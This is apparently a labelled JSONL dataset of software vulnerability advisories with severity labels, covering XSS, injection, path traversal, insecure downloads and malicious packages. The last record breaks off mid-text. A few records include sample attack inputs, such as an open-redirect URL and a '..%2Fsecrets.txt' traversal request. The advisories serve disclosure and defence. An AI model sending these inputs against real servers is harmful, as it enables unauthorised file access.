-{"id": "54f6a11912a315550171", "text": "Downloads Resources over HTTP in selenium-standalone-painful\n\nAffected versions of `selenium-standalone-painful` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-standalone-painful`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in selenium-standalone-painful\n\n[Severity: HIGH]\n\nAffected versions of `selenium-standalone-painful` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-standalone-painful`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "4a682c748ebaa1a76c8d", "text": "Update bitlyshortener to >=0.5.0 to prevent generating some invalid short URLs\n\n### Impact\nDue to a sudden upstream breaking change by Bitly, versions of `bitlyshortener` <0.5.0 can generate an invalid short URL when a vanity domain exists.\n\n### Patches\nUpgrading `bitlyshortener` to 0.5.0 or newer will prevent the generation of any such invalid short URLs.\n\n### References\n* [Release notes](https://github.com/impredicative/bitlyshortener/releases)", "text_raw": "Update bitlyshortener to >=0.5.0 to prevent generating some invalid short URLs\n\n[Severity: HIGH]\n\n### Impact\nDue to a sudden upstream breaking change by Bitly, versions of `bitlyshortener` <0.5.0 can generate an invalid short URL when a vanity domain exists.\n\n### Patches\nUpgrading `bitlyshortener` to 0.5.0 or newer will prevent the generation of any such invalid short URLs.\n\n### References\n* [Release notes](https://github.com/impredicative/bitlyshortener/releases)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "4edc281ab53cb970b41f", "text": "Composer JavaScript injection possible via html comments\n\nIn Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1, an unauthenticated user can inject arbitrary JavaScript code as a result of the sanitization engine ignoring HTML comments.", "text_raw": "Composer JavaScript injection possible via html comments\n\n[Severity: MEDIUM]\n\nIn Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1, an unauthenticated user can inject arbitrary JavaScript code as a result of the sanitization engine ignoring HTML comments.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "75dfb399084801f1b18f", "text": "Downloads Resources over HTTP in haxe-dev\n\nAffected versions of `haxe-dev` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxe-dev`.\n\n## Recommendation\n\nThis package is actively maintained, yet after 2 years, the maintainer has not provided a patch for the vulnerability. This likely means that the maintainer has decided to accept the risk, and this vulnerability will never be patched.\n\nBecause of this, the best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in haxe-dev\n\n[Severity: HIGH]\n\nAffected versions of `haxe-dev` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `haxe-dev`.\n\n\n## Recommendation\n\nThis package is actively maintained, yet after 2 years, the maintainer has not provided a patch for the vulnerability. This likely means that the maintainer has decided to accept the risk, and this vulnerability will never be patched.\n\nBecause of this, the best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "04c105c08b2f0b6d4b61", "text": "Plone and Zope2 do not reseed pseudo-random number generator\n\nZope before 2.13.19, as used in Plone before 4.2.3 and 4.3 before beta 1, does not reseed the pseudo-random number generator (PRNG), which makes it easier for remote attackers to guess the value via unspecified vectors.  NOTE: this issue was SPLIT from CVE-2012-5508 due to different vulnerability types (ADT2).", "text_raw": "Plone and Zope2 do not reseed pseudo-random number generator\n\n[Severity: HIGH]\n\nZope before 2.13.19, as used in Plone before 4.2.3 and 4.3 before beta 1, does not reseed the pseudo-random number generator (PRNG), which makes it easier for remote attackers to guess the value via unspecified vectors.  NOTE: this issue was SPLIT from CVE-2012-5508 due to different vulnerability types (ADT2).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "e61d38ceaa7fe1bef6b7", "text": "Horos 2.1.0 Web Portal DOM Based XSS", "text_raw": "Horos 2.1.0 Web Portal DOM Based XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "31a63b6be479934c4e47", "text": "Exposure of Sensitive information in authentikat-jwt\n\nA time-sensitive equality check on the JWT signature in the JsonWebToken.validate method in main/scala/authentikat/jwt/JsonWebToken.scala in authentikat-jwt (aka com.jason-goodwin/authentikat-jwt) version 0.4.5 and earlier allows the supplier of a JWT token to guess bit after bit of the signature by repeating validation requests.", "text_raw": "Exposure of Sensitive information in authentikat-jwt\n\n[Severity: CRITICAL]\n\nA time-sensitive equality check on the JWT signature in the JsonWebToken.validate method in main/scala/authentikat/jwt/JsonWebToken.scala in authentikat-jwt (aka com.jason-goodwin/authentikat-jwt) version 0.4.5 and earlier allows the supplier of a JWT token to guess bit after bit of the signature by repeating validation requests.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "c43af893290a71c9e589", "text": "Tnantoka/public XSS Vulnerability\n\nA XSS vulnerability was found in module public <0.1.4 that allows malicious Javascript code to run in the browser, due to the absence of sanitization of the file/folder names before rendering.", "text_raw": "Tnantoka/public XSS Vulnerability\n\n[Severity: MEDIUM]\n\nA XSS vulnerability was found in module public <0.1.4 that allows malicious Javascript code to run in the browser, due to the absence of sanitization of the file/folder names before rendering.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "a55948dbd9ef9bc73b1b", "text": "Auth0 Auth0-WCF-Service-JWT before 1.0.4 leaks the expected JWT signature in an error message when it cannot successfully validate the JWT signature. If this error message is presented to an attacker, they can forge an arbitrary JWT token that will be accepted by the vulnerable application.", "text_raw": "Critical severity vulnerability that affects Auth0-WCF-Service-JWT\n\n[Severity: CRITICAL]\n\nAuth0 Auth0-WCF-Service-JWT before 1.0.4 leaks the expected JWT signature in an error message when it cannot successfully validate the JWT signature. If this error message is presented to an attacker, they can forge an arbitrary JWT token that will be accepted by the vulnerable application.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-18", "split": "train"}
-{"id": "c19c80039887690fe67a", "text": "Remote code execution via user-provided local names in ActionView\n\nThe is a code injection vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.", "text_raw": "Remote code execution via user-provided local names in ActionView\n\n[Severity: HIGH]\n\nThe is a code injection vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "752e18bb9f85ef6d733b", "text": "Malicious Package in bitcroe-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcroe-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "e7ecda5f45abe3787fb0", "text": "Progress Telerik UI for ASP.NET AJAX Deserialization of Untrusted Data Vulnerability\n\nAffected: Progress Telerik UI for ASP.NET AJAX\n\nProgress Telerik UI for ASP.NET AJAX contains a deserialization of untrusted data vulnerability through RadAsyncUpload which leads to code execution on the server in the context of the w3wp.exe process.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Progress Telerik UI for ASP.NET AJAX Deserialization of Untrusted Data Vulnerability\n\nAffected: Progress Telerik UI for ASP.NET AJAX\n\nProgress Telerik UI for ASP.NET AJAX contains a deserialization of untrusted data vulnerability through RadAsyncUpload which leads to code execution on the server in the context of the w3wp.exe process.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8c9fbcfdfe03fbf489a8", "text": "Withdrawn, accidental duplicate publish.\n\nrequest.rb in Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request.", "text_raw": "Moderate severity vulnerability that affects web-console\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nrequest.rb in Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "f18429f924c16ad77dc2", "text": "Malicious Package in hdkye\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in hdkye\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "157428890183c710ba49", "text": "SQL Injection in sequelize\n\nAffected versions of `sequelize` are vulnerable to SQL Injection in locations where user input is passed into the `limit` or `order` parameters of `sequelize` query calls, such as `findOne` or `findAll`.\n\n## Recommendation\n\nUpdate to version 3.17.0 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: HIGH]\n\nAffected versions of `sequelize` are vulnerable to SQL Injection in locations where user input is passed into the `limit` or `order` parameters of `sequelize` query calls, such as `findOne` or `findAll`.\n\n\n\n## Recommendation\n\nUpdate to version 3.17.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f7deb1f21188924d4667", "text": "Symfony Service IDs Allow Injection\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, when service ids allow user input, this could allow for SQL Injection and remote code execution. This is related to symfony/dependency-injection.", "text_raw": "Symfony Service IDs Allow Injection\n\n[Severity: CRITICAL]\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, when service ids allow user input, this could allow for SQL Injection and remote code execution. This is related to symfony/dependency-injection.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-18", "split": "train"}
-{"id": "ba48fef0c85f6fa04dde", "text": "Open Redirect in serve-static\n\nVersions of `serve-static` prior to 1.6.5 ( or 1.7.x prior to 1.7.2 ) are affected by an open redirect vulnerability on some browsers when configured to mount at the root directory.\n\n## Proof of Concept\n\nA link to `http://example.com//www.google.com/%2e%2e` will redirect to `//www.google.com/%2e%2e`\n\nSome browsers will interpret this as `http://www.google.com/%2e%2e`, resulting in an external redirect.\n\n## Recommendation\n\nVersion 1.7.x: Update to version 1.7.2 or later.\nVersion 1.6.x: Update to version 1.6.5 or later.", "text_raw": "Open Redirect in serve-static\n\n[Severity: LOW]\n\nVersions of `serve-static` prior to 1.6.5 ( or 1.7.x prior to 1.7.2 ) are affected by an open redirect vulnerability on some browsers when configured to mount at the root directory.\n\n\n## Proof of Concept\n\nA link to `http://example.com//www.google.com/%2e%2e` will redirect to `//www.google.com/%2e%2e`\n\nSome browsers will interpret this as `http://www.google.com/%2e%2e`, resulting in an external redirect.\n\n\n## Recommendation\n\nVersion 1.7.x: Update to version 1.7.2 or later.\nVersion 1.6.x: Update to version 1.6.5 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "334b0197af6973eb71e8", "text": "BitRaider Streaming Client 1.3.3.4098 Local Privilege Escalation Vulnerability", "text_raw": "BitRaider Streaming Client 1.3.3.4098 Local Privilege Escalation Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-12-23", "split": "train"}
-{"id": "26f449fe18dfae5779e6", "text": "Cross-site scripting in django\n\nCross-site scripting (XSS) vulnerability in Django 1.2.x before 1.2.2 allows remote attackers to inject arbitrary web script or HTML via a csrfmiddlewaretoken (aka csrf_token) cookie.", "text_raw": "Cross-site scripting in django\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Django 1.2.x before 1.2.2 allows remote attackers to inject arbitrary web script or HTML via a csrfmiddlewaretoken (aka csrf_token) cookie.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "70e3caabb6e4de3b4586", "text": "Cleartext storage of session identifier\n\nUser session identifiers were stored in cleartext - without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance SQL injection in any other component of the system.\n\n### Solution\nUpdate to TYPO3 versions 9.5.23 or 10.4.10 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Helmut Hummel who reported this issue and to TYPO3 core & security team members Benni Mack & Oliver Hader as well as TYPO3 contributor Markus Klein who fixed the issue.", "text_raw": "Cleartext storage of session identifier\n\n[Severity: HIGH]\n\nUser session identifiers were stored in cleartext - without processing of additional cryptographic hashing algorithms. This vulnerability cannot be exploited directly and occurs in combination with a chained attack - like for instance SQL injection in any other component of the system.\n\n### Solution\nUpdate to TYPO3 versions 9.5.23 or 10.4.10 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Helmut Hummel who reported this issue and to TYPO3 core & security team members Benni Mack & Oliver Hader as well as TYPO3 contributor Markus Klein who fixed the issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "46d4bd6fbd00e0bc8dc4", "text": "Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\nnode-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory.\n\nThis logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\path`.  If the drive letter does not match the extraction target, for example `D:\\extraction\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory.\n\nAdditionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path.\n\nThis only affects users of `node-tar` on Windows systems.\n\n### Patches\n\n4.4.18 || 5.0.10 || 6.1.9\n\n### Workarounds\n\nThere is no reasonable way to work around this issue without performing the same path normalization procedures that node-tar now does.\n\nUsers are encouraged to upgrade to the latest patched versions of node-tar, rather than attempt to sanitize paths themselves.\n\n### Fix\n\nThe fixed versions strip path roots from all paths prior to being resolved against the extraction target folder, even if such paths are not \"absolute\".\n\nAdditionally, a path starting with a drive letter and then two dots, like `c:../`, would bypass the check for `..` path portions.  This is checked properly in the patched versions.\n\nFinally, a defense in depth check is added, such that if the `entry.absolute` is outside of the extraction taret, and we are not in preservePaths:true mode, a warning is raised on that entry, and it is skipped.  Currently, it is believed that this check is redundant, but it did catch some oversights in development.", "text_raw": "Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\nnode-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory.\n\nThis logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\path`.  If the drive letter does not match the extraction target, for example `D:\\extraction\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory.\n\nAdditionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path.\n\nThis only affects users of `node-tar` on Windows systems.\n\n### Patches\n\n4.4.18 || 5.0.10 || 6.1.9\n\n### Workarounds\n\nThere is no reasonable way to work around this issue without performing the same path normalization procedures that node-tar now does.\n\nUsers are encouraged to upgrade to the latest patched versions of node-tar, rather than attempt to sanitize paths themselves.\n\n### Fix\n\nThe fixed versions strip path roots from all paths prior to being resolved against the extraction target folder, even if such paths are not \"absolute\".\n\nAdditionally, a path starting with a drive letter and then two dots, like `c:../`, would bypass the check for `..` path portions.  This is checked properly in the patched versions.\n\nFinally, a defense in depth check is added, such that if the `entry.absolute` is outside of the extraction taret, and we are not in preservePaths:true mode, a warning is raised on that entry, and it is skipped.  Currently, it is believed that this check is redundant, but it did catch some oversights in development.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-31", "split": "train"}
-{"id": "2cbb33dc6a232c5c4823", "text": "Sumavision EMR Cross-Site Request Forgery (CSRF) Vulnerability\n\nAffected: Sumavision Enhanced Multimedia Router (EMR)\n\nSumavision Enhanced Multimedia Router (EMR) contains a cross-site request forgery (CSRF) vulnerability allowing the creation of users with elevated privileges as administrator on a device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-352\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Sumavision EMR Cross-Site Request Forgery (CSRF) Vulnerability\n\nAffected: Sumavision Enhanced Multimedia Router (EMR)\n\nSumavision Enhanced Multimedia Router (EMR) contains a cross-site request forgery (CSRF) vulnerability allowing the creation of users with elevated privileges as administrator on a device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-352\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "219da635aacf8cc4ee8a", "text": "ZKTeco ZKBioSecurity 3.0 File Path Manipulation Vulnerability", "text_raw": "ZKTeco ZKBioSecurity 3.0 File Path Manipulation Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-31", "split": "train"}
-{"id": "9ace35e298143d93d38d", "text": "Account Takeover in Octobercms\n\n### Impact\n\nAn attacker can request an account password reset and then gain access to the account using a specially crafted request.\n\n- To exploit this vulnerability, an attacker must know the username of an administrator and have access to the password reset form.\n\n### Patches\n\n- Issue has been patched in Build 472 and v1.1.5\n- [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648)\n\n### Workarounds\n\nApply https://github.com/octobercms/library/commit/016a297b1bec55d2e53bc889458ed2cb5c3e9374 and https://github.com/octobercms/library/commit/5bd1a28140b825baebe6becd4f7562299d3de3b9 to your installation manually if you are unable to upgrade.\n\n[**Update 2022-01-20**] [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648) can be found here.\n\n### Recommendations\n\nWe recommend the following steps to make sure your server stays secure:\n\n- Keep server OS and system software up to date.\n- Keep October CMS software up to date.\n- Use a multi-factor authentication plugin.\n- Change the [default backend URL](https://github.com/octobercms/october/blob/1.1/config/cms.php#L39) or block public access to the backend area.\n- Include the [Roave/SecurityAdvisories](https://github.com/Roave/SecurityAdvisories) Composer package to ensure that your application doesn't have installed dependencies with known security vulnerabilities.\n\n### References\n\nBugs found as part of Solar Security CMS Research. Credits to:\n• Andrey Basarygin\n• Andrey Guzei\n• Mikhail Khramenkov\n• Alexander Sidukov\n• Maxim Teplykh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)", "text_raw": "Account Takeover in Octobercms\n\n[Severity: HIGH]\n\n### Impact\n\nAn attacker can request an account password reset and then gain access to the account using a specially crafted request.\n\n- To exploit this vulnerability, an attacker must know the username of an administrator and have access to the password reset form.\n\n### Patches\n\n- Issue has been patched in Build 472 and v1.1.5\n- [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648)\n\n### Workarounds\n\nApply https://github.com/octobercms/library/commit/016a297b1bec55d2e53bc889458ed2cb5c3e9374 and https://github.com/octobercms/library/commit/5bd1a28140b825baebe6becd4f7562299d3de3b9 to your installation manually if you are unable to upgrade.\n\n[**Update 2022-01-20**] [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648) can be found here.\n\n### Recommendations\n\nWe recommend the following steps to make sure your server stays secure:\n\n- Keep server OS and system software up to date.\n- Keep October CMS software up to date.\n- Use a multi-factor authentication plugin.\n- Change the [default backend URL](https://github.com/octobercms/october/blob/1.1/config/cms.php#L39) or block public access to the backend area.\n- Include the [Roave/SecurityAdvisories](https://github.com/Roave/SecurityAdvisories) Composer package to ensure that your application doesn't have installed dependencies with known security vulnerabilities.\n\n### References\n\nBugs found as part of Solar Security CMS Research. Credits to:\n• Andrey Basarygin\n• Andrey Guzei\n• Mikhail Khramenkov\n• Alexander Sidukov\n• Maxim Teplykh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "60eec4fccb2f884243d9", "text": "Prototype Pollution in deep-setter\n\nAll versions of `deep-setter` are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in deep-setter\n\n[Severity: HIGH]\n\nAll versions of `deep-setter` are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "448238182f7237b0c4fd", "text": "Incorrect Comparison in sodiumoxide\n\nAn issue was discovered in the sodiumoxide crate starting with 0.2.0 and prior to 0.2.5 for Rust. `generichash::Digest::eq` compares itself to itself and thus has degenerate security properties.", "text_raw": "Incorrect Comparison in sodiumoxide\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the sodiumoxide crate starting with 0.2.0 and prior to 0.2.5 for Rust. `generichash::Digest::eq` compares itself to itself and thus has degenerate security properties.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f6bacf445f591eadf26e", "text": "AdaptCMS 3.0.3 Multiple Persistent XSS Vulnerabilities", "text_raw": "AdaptCMS 3.0.3 Multiple Persistent XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-01-05", "split": "train"}
-{"id": "c828b7ae1897976940c6", "text": "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly.\n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n  .builder()\n  .serviceUnder(\n    \"/files\",\n    FileService\n      .of(...)\n      .decorate((delegate, ctx, req) -> {\n        String path = req.headers().path();\n        if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n          return HttpResponse.of(HttpStatus.BAD_REQUEST);\n        }\n        return delegate.serve(ctx, req);\n      })\n  )\n  .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user)).", "text_raw": "Path Traversal in com.linecorp.armeria:armeria\n\n[Severity: HIGH]\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n  .builder()\n  .serviceUnder(\n    \"/files\",\n    FileService\n      .of(...)\n      .decorate((delegate, ctx, req) -> {\n        String path = req.headers().path();\n        if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n          return HttpResponse.of(HttpStatus.BAD_REQUEST);\n        }\n        return delegate.serve(ctx, req);\n      })\n  )\n  .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user)).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "e4b47c119549950e3e72", "text": "Segmentation fault in tensorflow-lite\n\n### Impact\nIf a TFLite saved model uses the same tensor as both input and output of an operator, then, depending on the operator, we can observe a segmentation fault or just memory corruption.\n\n### Patches\nWe have patched the issue in d58c96946b and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that no operator reuses tensors as both inputs and outputs. Care should be taken to check all types of inputs (i.e., constant or variable tensors as well as optional tensors).\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered from a variant analysis of [GHSA-cvpc-8phh-8f45](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvpc-8phh-8f45).", "text_raw": "Segmentation fault in tensorflow-lite\n\n[Severity: HIGH]\n\n### Impact\nIf a TFLite saved model uses the same tensor as both input and output of an operator, then, depending on the operator, we can observe a segmentation fault or just memory corruption.\n\n### Patches\nWe have patched the issue in d58c96946b and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that no operator reuses tensors as both inputs and outputs. Care should be taken to check all types of inputs (i.e., constant or variable tensors as well as optional tensors).\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered from a variant analysis of 